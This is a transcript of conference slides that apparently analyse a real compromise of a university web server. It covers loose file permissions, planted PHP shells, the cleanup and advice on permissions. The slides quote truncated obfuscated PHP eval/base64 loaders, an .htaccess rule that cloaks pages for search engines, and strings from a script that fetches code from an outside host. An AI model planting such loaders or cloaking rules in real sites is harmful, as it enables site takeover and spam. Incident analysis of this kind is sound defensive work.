Bea con anatomy-of-web-attack

46
Anatomy of a Web Server Hack (it wasn’t fun or profitable) (for me) Patrick Laverty Brown University OWASP Rhode Island BSides Rhode Island TwiGer: @ProvWebAppSec 1

description

Presentation by Patrick Laverty at BeaCon 2013

Transcript of Bea con anatomy-of-web-attack

Page 1: Bea con anatomy-of-web-attack

Anatomy  of  a  Web  Server  Hack  (it  wasn’t  fun  or  profitable)  

(for  me)  

Patrick  Laverty  Brown  University  

OWASP  Rhode  Island  BSides  Rhode  Island  

TwiGer:  @ProvWebAppSec  

1  

Page 2: Bea con anatomy-of-web-attack

Who  Am  I?  

•  Programmer/WebSec  guy  at  Brown  University  •  PaulDotCom  Intern  

•  hGp://www.securitybsides.com/BSidesRI  

•  OWASP  Rhode  Island  

2  

Page 3: Bea con anatomy-of-web-attack

What  Happened?  

• We  got  DoS’d  

3  

Page 4: Bea con anatomy-of-web-attack

What  Happened?  

• We  got  DoS’d  •  (UnintenSonally)  By    

4  

Page 5: Bea con anatomy-of-web-attack

Step  Back  -­‐  Timeline  

•  Holiday  weekend,  1  dept  site  down  •  Reports  pharmaspam  in  Google  results  

5  

Page 6: Bea con anatomy-of-web-attack

Step  Back  -­‐  Timeline  

•  Holiday  weekend,  1  dept  site  down  •  Reports  pharmaspam  in  Google  results  

•  7  pm,  database  server  maxed  out  

•  Kill  processes,  they  come  back  

•  Renaming  databases,  sites  down  

6  

Page 7: Bea con anatomy-of-web-attack

Step  Back  -­‐  Timeline  

•  Holiday  weekend,  1  dept  site  down  •  Reports  pharmaspam  in  Google  results  

•  7  pm,  database  server  maxed  out  

•  Kill  processes,  they  come  back  

•  Renaming  databases,  sites  down  

•  But  most  importantly…  

7  

Page 8: Bea con anatomy-of-web-attack

Step  Back  -­‐  Timeline  

8  

Protect  www.brown.edu  

Page 9: Bea con anatomy-of-web-attack

Why  Did  It  Happen?  

• We’re  a  University  •  Open  and  easy  •  Security  is  a  hassle  

9  

Page 10: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  One  word:  FilePermissions  

10  

Page 11: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  Two  words:  File  Permissions  

11  

Page 12: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  Two  words:  File  Permissions  •  >1200  accounts  •  600  GB  of  files  •  Hundreds  of  sites  

12  

Page 13: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  Two  words:  File  Permissions  • More  history:  – Solaris  Web  Server  

– 16  groups  per  user  max  – Web  server  user  – Thousands  of  groups  on  server  – World  Readable  

13  

Page 14: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  rwxrwxr-­‐x  •  Security  Problem?  

14  

Page 15: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  rwxrwxr-­‐x  •  Security  Problem?  

•  Config  files  &  db  connecSon  scripts  • mysql_connect(db,user,password);  

•  Policy:    No  sensiSve  info  

15  

Page 16: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  Upgraded  to  Red  Hat  Linux  •  No  limit  to  groups  

•  Put  server  in  every  group  •  Removed  world  read:  ie.  rwxrwx-­‐-­‐-­‐  

16  

Page 17: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  Everything  is  writeable!  

17  

Page 18: Bea con anatomy-of-web-attack

OK,  Really  Why?  

•  Everything  is  writeable!  • Whoops  

18  

Page 19: Bea con anatomy-of-web-attack

Discovery  

19  

Page 20: Bea con anatomy-of-web-attack

Discovery  

<?php  eval(gzinflate(base64_decode('5b1rd9u20ij8OV2r/wFmtUupkWVJTtLUthQ7jp04TezUl1xq56iUREmsKVElKStu6v9+ZgYXArzIstP9PO9Zb/ZuIgKDwQAYAAPMYOb770rOLB51pk4UsRaz1hvNevfpzz93+93HP7u/1Hv9p/31R936et1xm48f963N778r9QI/CBH6h/7gMaX03YEz8+OO04u9YAJZ9r7nu9FbZ2Lr2b…  

20  

Page 21: Bea con anatomy-of-web-attack

Discovery  

21  

Page 22: Bea con anatomy-of-web-attack

What  Can  That  Do?  

•  Add  New  Files  •  Edit  Current  Files  •  Find  Places  to  Hide  Files  •  Change  Timestamps  

22  

Page 23: Bea con anatomy-of-web-attack

What  DID  It  Do?  

•  Add  New  Files  •  Edit  Current  Files  •  Find  Places  to  Hide  Files  •  Change  Timestamps  

•  Examples?  

23  

Page 24: Bea con anatomy-of-web-attack

 Stupid  .htaccess  Tricks  I  

RemoveHandler  .html  .htm  AddType  applicaSon/x-­‐hGpd-­‐php  .php  .htm  .html  

24  

Page 25: Bea con anatomy-of-web-attack

Stupid  .htaccess  Tricks  II  

<IfModule  mod_rewrite.c>  RewriteEngine  On  RewriteCond  %{HTTP_USER_AGENT}  (google|yahoo)  [OR]  RewriteCond  %{HTTP_REFERER}  (google|aol|yahoo)  RewriteBase  /  RewriteCond  %{THE_REQUEST}  /  RewriteCond  %{REQUEST_URI}  !/stats\.php  RewriteRule  .+  stats.php  [L]  </IfModule>  

25  

Page 26: Bea con anatomy-of-web-attack

Stupid  .htaccess  Tricks  II  

<IfModule  mod_rewrite.c>  RewriteEngine  On  RewriteCond  %{HTTP_USER_AGENT}  (google|yahoo)  [OR]  RewriteCond  %{HTTP_REFERER}  (google|aol|yahoo)  RewriteBase  /  RewriteCond  %{THE_REQUEST}  /  RewriteCond  %{REQUEST_URI}  !/stats\.php  RewriteRule  .+  stats.php  [L]  </IfModule>  

26  

Page 27: Bea con anatomy-of-web-attack

Weird  Google  Results  

27  

Page 28: Bea con anatomy-of-web-attack

Two  Views  

•  Browser:  normal  •  Google,  Yahoo,  other  search  spiders?  

28  

Page 29: Bea con anatomy-of-web-attack

Look  Familiar?  

<?php    

//Packed  MySQL  query  core    

$a4f12b6950e98b=str_rot13('tmhapbzcerff');$a4f12b6950e98f=str_rot13(strrev('rqbprq_46rfno'));  eval($a4f12b6950e98b($a4f12b6950e98f('eF6NVGu2kAQ/ZU8VCKRqgrbJZFV5YGoxQilVLitvd6qinyBILApCiHBfH13zSAktkoL7OGOXM7uzO7H4LbHzf9259/OndO1+85zlX38uqu8/e6…  

29  

Page 30: Bea con anatomy-of-web-attack

De-­‐obfuscated  max_execuSon_Sme  set_Sme_limit  

hGp://files-­‐uploader.com/7291-­‐bred/  

…  

REMOTE_ADDR  

QUERY_STRING  

SERVER_SIGNATURE  

REQUEST_URI  

REMOTE_ADDR  

…  

allow_url_fopen  

curl_init  

viagra  

cialis  

30  

Page 31: Bea con anatomy-of-web-attack

Uh-­‐Oh  max_execuSon_Sme  set_Sme_limit  

hGp://files-­‐uploader.com/7291-­‐bred/  

…  

REMOTE_ADDR  

QUERY_STRING  

SERVER_SIGNATURE  

REQUEST_URI  

REMOTE_ADDR  

…  

allow_url_fopen  

curl_init  

viagra  

cialis  

31  

Page 32: Bea con anatomy-of-web-attack

Uh-­‐Oh  max_execuSon_Sme  set_Sme_limit  

hGp://files-­‐uploader.com/7291-­‐bred/  

…  

REMOTE_ADDR  

QUERY_STRING  

SERVER_SIGNATURE  

REQUEST_URI  

REMOTE_ADDR  

…  

allow_url_fopen  

curl_init  

viagra  

cialis  

32  

Page 33: Bea con anatomy-of-web-attack

What’s  There?  

33  

Page 34: Bea con anatomy-of-web-attack

What  Are  Those?  

34  

Page 35: Bea con anatomy-of-web-attack

Why  the  DoS?  

max_execuSon_Sme  set_Sme_limit  hGp://files-­‐uploader.com/7291-­‐bred/  …  REMOTE_ADDR  QUERY_STRING  SERVER_SIGNATURE  REQUEST_URI  REMOTE_ADDR  …  allow_url_fopen  curl_init  viagra  cialis  

35  

Page 36: Bea con anatomy-of-web-attack

Why  the  DoS?  What  Happens?  

•  Google  as  Referrer  -­‐>  hit  page  in  .htaccess  •  Page  pulls  in  code  from  files-­‐uploader.com  

•  Shows  page  selling  Viagra  •  Brown  University  =  Online  Pharmacy  

•  Plus,  high  Google  ranking    

36  

Page 37: Bea con anatomy-of-web-attack

How  Do  You  Find  It?  

37  

Page 38: Bea con anatomy-of-web-attack

How’d  We  Fix  It?  

Immediate  Steps  – Deleted  the  current  offending  uploader  script  &  redirecSng  .htaccess  files  

– Traffic  dropped  off  immediately  

38  

Page 39: Bea con anatomy-of-web-attack

How’d  We  Fix  It?  

Ongoing  Steps  – Remove  all  shell  files  

– Remove  all  uploader  files  – Find  and  fix  the  .htaccess  files  – Remove  the  web  server  user  as  much  as  possible  

– Weakened  the  shell  files  – Set  up  shell  file  password  search  in  logs  – Monthly  meeSngs  to  review  

39  

Page 40: Bea con anatomy-of-web-attack

How  Else  is  it  Being  Fixed?  

•  One  Word…  •  FilePermissions!  

40  

Page 41: Bea con anatomy-of-web-attack

How  Else  is  it  Being  Fixed?  

•  One  Word…  •  FilePermissions!  

•  Three  OpSons  for  Site  Owners  

41  

Page 42: Bea con anatomy-of-web-attack

OpSon  1  

•  One  web  editor?  •  rwxr-­‐x-­‐-­‐-­‐  • Web  server  user  in  the  group  

42  

Page 43: Bea con anatomy-of-web-attack

OpSon  2  

• MulSple  web  editors  •  rwxrwxr-­‐x  • Web  server  user  NOT  in  the  group  

•  Back  to  original  security  problem  

43  

Page 44: Bea con anatomy-of-web-attack

OpSon  3    

•  Virtual  Machine  •  Do  whatever  you  want!  

44  

Page 45: Bea con anatomy-of-web-attack

BoGom  Line  

•  Keep  file  permissions  Sght  •  Keep  so�ware  current  •  Keep  users  off  server  

45  

Page 46: Bea con anatomy-of-web-attack

QuesSons?  

Contact  Info:  Patrick  Laverty  

Brown  University  

[email protected]  

@provwebappsec  or  @BSidesRI  

46